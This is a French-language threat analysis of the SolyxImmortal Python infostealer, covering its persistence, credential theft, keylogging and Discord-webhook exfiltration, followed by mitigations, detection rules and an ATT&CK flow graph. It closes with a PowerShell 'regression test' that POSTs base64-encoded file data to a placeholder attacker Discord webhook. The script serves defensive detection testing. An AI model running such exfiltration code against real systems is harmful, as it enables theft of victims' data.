SOLYXIMMORTEL : ANALYSE DE MALWARE PYTHON
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Sol yxImmortal est un voleur d’informations sous Windows basé sur Python qui collecte des identifiants, des documents, des frappes au clavier et des captures d’écran, puis exfiltre les données via des webhooks Discord. Le malware s’exécute entièrement dans l’espace utilisateur, maintient sa persistance en plaçant une copie dans le répertoire AppData de l’utilisateur et définit une valeur de registre Run-key, et continue de fonctionner sans présenter d’interface utilisateur visible.
Enquête
L’analyse a révélé deux URL de webhooks Discord intégrées et l’utilisation de Windows DPAPI pour déchiffrer les identifiants des navigateurs basés sur Chromium. Le voleur enregistre les frappes au clavier via un hook de clavier, suit la fenêtre active pour identifier les titres d’applications potentiellement sensibles et capture des captures d’écran à intervalles réguliers. La persistance est mise en œuvre en copiant la charge utile à un emplacement dissimulé sous %AppData% et en ajoutant une valeur à la clé Run de HKCU pour déclencher l’exécution lors de la connexion utilisateur.
Atténuation
Appliquer une liste blanche d’applications, surveiller la création et l’exécution de binaires à partir de chemins écrits par l’utilisateur, détecter les modifications des clés Run au niveau de l’utilisateur, et alerter sur l’activité POST HTTPS sortante vers les points de terminaison des webhooks Discord. Renforcer les contrôles autour des magasins d’identifiants de navigateurs et réduire l’exposition des points de terminaison en limitant ou en régulant étroitement l’utilisation des langages de script lorsque cela est possible.
Réponse
Lors de la détection, isoler le point de terminaison impacté, supprimer la copie malveillante résidant dans AppData, supprimer la valeur de clé Run associée, et bloquer les URL de webhooks Discord identifiées. Faire tourner les identifiants des comptes potentiellement affectés et effectuer une collecte légale de journaux de frappes, captures d’écran, et bases de données de navigateurs pour soutenir l’analyse de l’étendue et des causes profondes.
"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef artifact fill:#ccffcc classDef malware fill:#ff9999 classDef process fill:#ccccff classDef service fill:#ffdd99 %% Technique nodes tech_python["<b>Technique</b> – <b>T1059.006</b> Command and Scripting Interpreter: Python<br/><b>Description</b>: Executes malicious Python code to launch the implant and initiate functionality."] class tech_python technique tech_registry["<b>Technique</b> – <b>T1547.001</b> Boot or Logon Autostart Execution: Registry Run Keys<br/><b>Description</b>: Copies malware to a writable location and adds a Run key for persistence across logons."] class tech_registry technique tech_hidden["<b>Technique</b> – <b>T1564.005</b> Hide Artifacts: Hidden File System<br/><b>Description</b>: Marks the malicious copy with hidden and system attributes to evade discovery."] class tech_hidden technique tech_browser_creds["<b>Technique</b> – <b>T1555.003</b> Credentials from Password Stores: Web Browsers<br/><b>Description</b>: Extracts and decrypts saved Chromiumu2011based browser credentials using the master key and DPAPI."] class tech_browser_creds technique tech_file_discovery["<b>Technique</b> – <b>T1083</b> File and Directory Discovery<br/><b>Description</b>: Enumerates the file system to locate documents of interest."] class tech_file_discovery technique tech_keylogging["<b>Technique</b> – <b>T1056.001</b> Input Capture: Keylogging<br/><b>Description</b>: Records keystrokes via a persistent keyboard listener and stores them in memory."] class tech_keylogging technique tech_screen_capture["<b>Technique</b> – <b>T1113</b> Screen Capture<br/><b>Description</b>: Captures screenshots of the active foreground window regularly and on sensitive activity."] class tech_screen_capture technique tech_archive["<b>Technique</b> – <b>T1560.002</b> Archive Collected Data: Archive via Library<br/><b>Description</b>: Compresses staged data into a ZIP archive using a library to reduce size and mask content."] class tech_archive technique tech_obfuscate["<b>Technique</b> – <b>T1027</b> Obfuscated/Compressed Files and Information<br/><b>Description</b>: Uses compression to hide data before exfiltration."] class tech_obfuscate technique tech_exfil["<b>Technique</b> – <b>T1567.004</b> Exfiltration Over Webhook<br/><b>Description</b>: Sends collected data to attackeru2011controlled Discord webhook URLs over HTTPS."] class tech_exfil technique tech_third_party["<b>Technique</b> – <b>T1102.003</b> Web Service: Thirdu2011Party Services<br/><b>Description</b>: Utilizes Discord as a thirdu2011party service for command and control communications."] class tech_third_party technique %% Artifact and process nodes artifact_python["<b>Artifact</b> – Lethalcompany.py executed on victim host"] class artifact_python artifact process_copy["<b>Process</b> – Copies malware to %AppData% directory"] class process_copy process artifact_persistence["<b>Artifact</b> – Registry Run key created for copied file"] class artifact_persistence artifact artifact_hidden["<b>Artifact</b> – File attributes set to hidden and system"] class artifact_hidden artifact artifact_cred_extraction["<b>Artifact</b> – Extraction of Chrome/Edge passwords and cookies"] class artifact_cred_extraction artifact artifact_file_search["<b>Artifact</b> – Recursive enumeration of .doc, .pdf, .xls files in user home"] class artifact_file_search artifact artifact_keylog["<b>Artifact</b> – Inu2011memory keystroke buffer flushed periodically"] class artifact_keylog artifact artifact_screenshot["<b>Artifact</b> – Screenshots captured based on window title keywords"] class artifact_screenshot artifact artifact_zip["<b>Artifact</b> – ZIP archive created with staged data"] class artifact_zip artifact artifact_exfil["<b>Artifact</b> – HTTPS POST to Discord webhook with archive and screenshots"] class artifact_exfil artifact service_discord["<b>Service</b> – Discord webhook used for C2 and exfiltration"] class service_discord service %% Connections showing the attack flow artifact_python –>|executes| tech_python tech_python –>|enables| process_copy process_copy –>|places file in AppData| artifact_persistence artifact_persistence –>|registers| tech_registry artifact_persistence –>|marks hidden| tech_hidden tech_hidden –>|applies to| artifact_hidden tech_browser_creds –>|collects| artifact_cred_extraction tech_file_discovery –>|collects| artifact_file_search tech_keylogging –>|captures| artifact_keylog tech_screen_capture –>|captures| artifact_screenshot tech_archive –>|creates| artifact_zip tech_obfuscate –>|supports| tech_archive artifact_zip –>|prepared for| tech_exfil tech_exfil –>|uses| service_discord service_discord –>|receives data via| artifact_exfil tech_third_party –>|provides channel for| tech_exfil "
Flux d’attaque
Détections
Utilisation abusive potentielle de Discord comme canal C2 (via proxy)
Voir
Attribuer l’exécution pour cacher les fichiers (via cmdline)
Voir
Points de persistance possibles [ASEPs – Ruche Software/NTUSER] (via registry_event)
Voir
IOCs (HashMd5) pour détecter : SOLYXIMMORTAL : ANALYSE DE MALWARE PYTHON
Voir
IOCs (HashSha256) pour détecter : SOLYXIMMORTAL : ANALYSE DE MALWARE PYTHON
Voir
Détection de l’exfiltration du malware SolyxImmortal via les webhooks Discord [Connexion réseau Windows]
Voir
Exécution et persistance du malware Python SolyxImmortal [Création de processus Windows]
Voir
Exécution de la simulation
Prérequis : L’analyse de télémétrie et de référence de pré‑vol doit être réussie.
-
Narration de l’attaque et commandes :
L’adversaire a déjà compromis l’hôte et récolté des identifiants, des journaux clavier et des captures d’écran (T1056.001, T1113). L’étape suivante consiste à exfiltrer les données collectées via un webhook Discord malveillant. En utilisant PowerShell (natif, sans binaires externes) le malware crée une charge utile JSON contenant des données de fichiers encodées en base‑64 et la poste à l’URL du webhook. Comme la règle ne recherche que le nom d’hôte et la méthode HTTP, cette activité devrait déclencher une alerte. -
Script de test de régression :
# Exfiltration simulée de SolyxImmortal via un webhook Discord param( [string]$WebhookUrl = "https://discord.com/api/webhooks/ATTACKER/EXFIL", [string]$FilePath = "$env:TEMPsample.txt" ) # 1. Créer un fichier factice représentant des données collectées Set-Content -Path $FilePath -Value ("DonnéesSensibles_" + (Get-Date).ToString("s")) # 2. Encoder le contenu du fichier en Base64 (simule l'obfuscation) $fileBytes = [System.IO.File]::ReadAllBytes($FilePath) $b64Data = [Convert]::ToBase64String($fileBytes) # 3. Construire la charge utile JSON attendue par le webhook Discord $payload = @{ content = "Charge utile d'exfiltration" embeds = @( @{ title = "StolenFile.txt" description = $b64Data color = 16711680 } ) } | ConvertTo-Json -Depth 5 # 4. Envoyer la requête POST HTTPS Invoke-WebRequest -Uri $WebhookUrl -Method POST -Body $payload -ContentType "application/json" -UseBasicParsing Write-Host "Tentative d'exfiltration envoyée." -
Commandes de nettoyage :
# Supprimer le fichier factice et effacer toutes les variables résiduelles Remove-Item -Path "$env:TEMPsample.txt" -ErrorAction SilentlyContinue Remove-Variable -Name WebhookUrl, FilePath, fileBytes, b64Data, payload -ErrorAction SilentlyContinue Write-Host "Nettoyage terminé."